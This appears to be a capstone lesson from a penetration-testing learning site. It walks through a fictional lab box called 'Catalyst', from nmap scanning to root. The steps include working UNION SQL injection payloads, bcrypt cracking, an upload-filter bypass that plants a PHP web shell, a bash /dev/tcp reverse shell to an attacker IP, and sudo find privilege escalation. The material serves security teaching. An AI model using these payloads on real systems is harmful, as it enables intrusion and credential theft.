kavklaw@llm ~ /learn/capstone
← Back to Learning Path

Red Team Capstone: Your First Box

Time to put it all together. Walk through a complete box from recon to root.

🎯

🔴 Red Team Capstone: Your First Box Walkthrough

A fictional but realistic box: scanning → web app → SQLi → shell → SUID → root. Follow along — if this makes sense, you're ready for real boxes.

Let's walk through a complete box from start to finish. The target is a fictional machine called "Catalyst" at 10.10.10.42. It's running a web application with a database backend. Follow along step by step — this is exactly what solving a real HTB box feels like.

Step 1: Setup & Reconnaissance

# Create workspace
mkdir -p ~/htb/boxes/catalyst/{nmap,exploits,loot}
cd ~/htb/boxes/catalyst

# Add to /etc/hosts
echo "10.10.10.42  catalyst.htb" | sudo tee -a /etc/hosts

# Start with a fast port scan
# -p- scans ALL 65535 ports, --min-rate 5000 keeps it fast, -oN saves results to a file
nmap -p- --min-rate 5000 -T4 10.10.10.42 -oN nmap/allports.txt

# Results:
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

Three ports open. SSH, a web server, and MySQL. Let's get details:

# Detailed scan on open ports
# -sC runs default scripts (banner grab, version probes), -sV detects service versions
nmap -p 22,80,3306 -sC -sV -oN nmap/detailed.txt 10.10.10.42

# Results:
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp   open  http    Apache/2.4.41 (Ubuntu)
|_http-title: Catalyst - Project Management
|_http-server-header: Apache/2.4.41 (Ubuntu)
3306/tcp open  mysql   MySQL 5.7.38
| mysql-info:
|   Protocol: 10
|   Version: 5.7.38-0ubuntu0.18.04.1

Notes: Ubuntu system (Apache 2.4.41, OpenSSH 8.2p1). Web app called "Catalyst - Project Management." MySQL 5.7 — interesting that it's exposed externally.

Step 2: Web Application Enumeration

# Quick check of the web page
curl -s http://catalyst.htb | head -30
# → Login page. "Catalyst Project Management v2.1"

# Check response headers
curl -sI http://catalyst.htb
# → X-Powered-By: PHP/7.4.3 — it's PHP!

# Directory brute force — gobuster tries thousands of common directory/file names
# against the web server to find hidden pages. -x php also checks for .php extensions.
gobuster dir -u http://catalyst.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php -t 50 -o nmap/gobuster.txt

# Results:
/login.php            (Status: 200) [Size: 3542]
/register.php         (Status: 200) [Size: 4012]
/dashboard.php        (Status: 302) [Size: 0] → /login.php
/admin                (Status: 301) [Size: 314] → /admin/
/api                  (Status: 301) [Size: 312] → /api/
/config.php.bak       (Status: 200) [Size: 892]     ← INTERESTING!
/uploads              (Status: 301) [Size: 316] → /uploads/

Jackpot! A backup config file. Let's check it:

# Read the backup config file
curl -s http://catalyst.htb/config.php.bak

# Output:
# <?php
# $db_host = "localhost";
# $db_user = "catalyst_app";
# $db_pass = "CatalystDB_2023!";
# $db_name = "catalyst";
# $secret_key = "K8v2$pL9mN3x";
# ?>

Database credentials! Let's try them against MySQL directly:

# Connect to MySQL
mysql -h 10.10.10.42 -u catalyst_app -p'CatalystDB_2023!'
# Access denied — remote connections blocked. But we have creds for later.

# Let's also register an account and explore the app
# Register at http://catalyst.htb/register.php
# Login and explore — it's a project management tool
# Note the URL pattern: /dashboard.php?project=3

Step 3: SQL Injection

That ?project=3 parameter smells like SQLi (SQL injection — when user input gets inserted directly into a database query, letting us manipulate it). Let's test by adding a single quote to break the SQL syntax:

# Test for injection
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=3'"
# → MySQL error: "You have an error in your SQL syntax..."
# VULNERABLE!

# Determine number of columns
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=3+ORDER+BY+5--+-"
# → Normal page (5 columns exist)
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=3+ORDER+BY+6--+-"
# → Error! (only 5 columns)

# Find visible columns — UNION SELECT combines our fake query with the real one.
# We use -1 for the project ID (no results) so only OUR injected data shows up.
# The numbers 1-5 tell us which column positions appear on the page:
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=-1+UNION+SELECT+1,2,3,4,5--+-"
# → Columns 2 and 4 are displayed on the page — that's where we'll inject our queries

# Extract database info
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=-1+UNION+SELECT+1,database(),3,user(),5--+-"
# → Database: catalyst, User: catalyst_app@localhost

# List tables — information_schema is a built-in MySQL database that describes
# all other databases. We're asking it "what tables exist in the catalyst database?"
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=-1+UNION+SELECT+1,group_concat(table_name),3,4,5+FROM+information_schema.tables+WHERE+table_schema='catalyst'--+-"
# → Tables: users, projects, tasks, sessions, admin_users

# Get admin credentials
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=-1+UNION+SELECT+1,group_concat(username,0x3a,password),3,4,5+FROM+admin_users--+-"
# → admin:$2y$10$KqE8h3zN9Xw2V5nRp0kL7.ABcDeFgHiJkLmNoPqRsTuVwXyZ012

# Also grab the regular users table
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=-1+UNION+SELECT+1,group_concat(username,0x3a,password,0x0a),3,4,5+FROM+users--+-"
# → sarah:$2y$10$..., mike:$2y$10$..., etc.

The admin password is bcrypt-hashed (bcrypt is a strong, slow hashing algorithm — it'll take longer to crack than MD5 or SHA1, but weak passwords are still vulnerable). Let's try cracking it, but first let's check if the DB user has FILE privileges (which would let us write files to the server through SQL — a shortcut to a web shell):

# Check FILE privileges
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=-1+UNION+SELECT+1,2,3,4,5+INTO+OUTFILE+'/var/www/html/test.txt'--+-"
# → "Access denied; you need the FILE privilege"
# No luck. Let's crack the admin hash instead.

# Save hash and crack with hashcat — the #1 offline password cracking tool.
# -m 3200 tells hashcat "this is a bcrypt hash". rockyou.txt is a wordlist of
# 14 million real passwords leaked from a data breach — the standard cracking list.
echo '$2y$10$KqE8h3zN9Xw2V5nRp0kL7.ABcDeFgHiJkLmNoPqRsTuVwXyZ012' > loot/admin_hash.txt
hashcat -m 3200 loot/admin_hash.txt /usr/share/wordlists/rockyou.txt
# → admin:catalyst2023

# Login as admin at /admin/login.php
# Admin panel has a "Upload Avatar" feature → potential file upload!

Step 4: File Upload → Web Shell → Reverse Shell

# Try uploading a PHP shell
# Create payload: shell.php
echo '<?php system($_GET["cmd"]); ?>' > exploits/shell.php

# Upload via admin panel... "Only image files allowed!"
# Let's bypass — change extension and content type

# Method: double extension + magic bytes
printf '\xff\xd8\xff\xe0' > exploits/shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> exploits/shell.php.jpg

# Upload via Burp, change Content-Type to image/jpeg
# It accepts! File saved to /uploads/shell.php.jpg
# But .jpg won't execute as PHP...

# Try .phtml extension instead
cp exploits/shell.php exploits/shell.phtml
# Upload shell.phtml with Content-Type: image/jpeg
# Accepted!

# Test execution
curl -s "http://catalyst.htb/uploads/shell.phtml?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)
# WE HAVE CODE EXECUTION!

# Get a proper reverse shell
# Start listener:
nc -lvnp 9001

# Trigger reverse shell:
curl -s "http://catalyst.htb/uploads/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/9001+0>%261'"

Step 5: Shell Upgrade & Enumeration

# We caught the shell as www-data!
# Upgrade immediately — reverse shells are "dumb" by default (no tab-complete,
# no arrow keys, Ctrl+C kills the connection). This upgrades to a fully interactive terminal:
python3 -c 'import pty; pty.spawn("/bin/bash")'  # Step 1: spawn a proper bash shell
# Ctrl+Z                                          # Step 2: background the shell
stty raw -echo; fg                                 # Step 3: make your terminal pass raw input, then bring the shell back
export TERM=xterm                                  # Step 4: enable clear screen and arrow keys

# Enumerate users
cat /etc/passwd | grep bash
# root:x:0:0:root:/root:/bin/bash
# sarah:x:1000:1000:Sarah:/home/sarah:/bin/bash

# Check sarah's home
ls -la /home/sarah/
# -rw-r----- 1 sarah sarah 33 Jun 15 12:00 user.txt
# Can't read it as www-data

# Remember the database credentials from config.php.bak?
# Try password reuse!
su sarah
# Password: CatalystDB_2023!  → Access denied

# Try the cracked admin password
su sarah
# Password: catalyst2023  → Access denied

# Check the live config.php for different credentials
cat /var/www/html/config.php
# Same creds as the backup... but wait

# Check database for sarah's password
mysql -u catalyst_app -p'CatalystDB_2023!' catalyst -e "SELECT * FROM users WHERE username='sarah'"
# → sarah:$2y$10$... 

# Let's crack sarah's hash
hashcat -m 3200 sarah_hash.txt /usr/share/wordlists/rockyou.txt
# → sarah:flowers2023

su sarah
# Password: flowers2023 → SUCCESS!
cat ~/user.txt
# 7d3a8f2b1c4e5d6a9f0b...

Step 6: Privilege Escalation → Root

# Now we're sarah. Time to escalate to root.
# Run through the privesc methodology:

# Check sudo
sudo -l
# → (ALL) NOPASSWD: /usr/bin/find
# GAME OVER. find with sudo = instant root.

# GTFOBins (gtfobins.github.io) is a curated list of Unix binaries that can be
# exploited when they have elevated permissions (sudo, SUID, etc.).
# The "find" entry shows us: find's -exec flag runs any command we want!
sudo find . -exec /bin/bash \; -quit

# whoami
root

# Grab the flag
cat /root/root.txt
# 9f1a2b3c4d5e6f7a8b9c...

📋 Attack Chain Summary

  1. Recon: Nmap found SSH (22), HTTP (80), MySQL (3306)
  2. Web Enum: Gobuster found /config.php.bak with database credentials
  3. SQLi: Parameter ?project= was injectable → extracted admin password hash
  4. Hash Cracking: Hashcat cracked the bcrypt admin hash
  5. File Upload: Admin panel avatar upload → bypassed filter with .phtml extension
  6. Shell: Web shell → reverse shell as www-data
  7. Lateral Movement: Cracked sarah's database password → su to sarah
  8. PrivEsc: sudo -l showed find with NOPASSWD → GTFOBins → root
🎓 Lessons from this box:
Always check for backup files (.bak, .old, .swp) — they expose source code and credentials
Test every parameter for injection — even after finding creds, SQL injection gave us more
Password reuse across users is common — always try found passwords for other users
sudo -l is the FIRST thing you check for privesc — it's the most common easy win
Document everything as you go — you'll need it for the writeup and your notes

This used techniques from every phase: lab setup (0), networking (1), recon (2), web exploitation (3), and system exploitation (4). Real boxes work the same way — everything chains together.

Now do it for real. Sign up for HackTheBox or TryHackMe and start with their beginner machines.

← Phase 5: Active Directory All Phases Phase 6: Blue Team →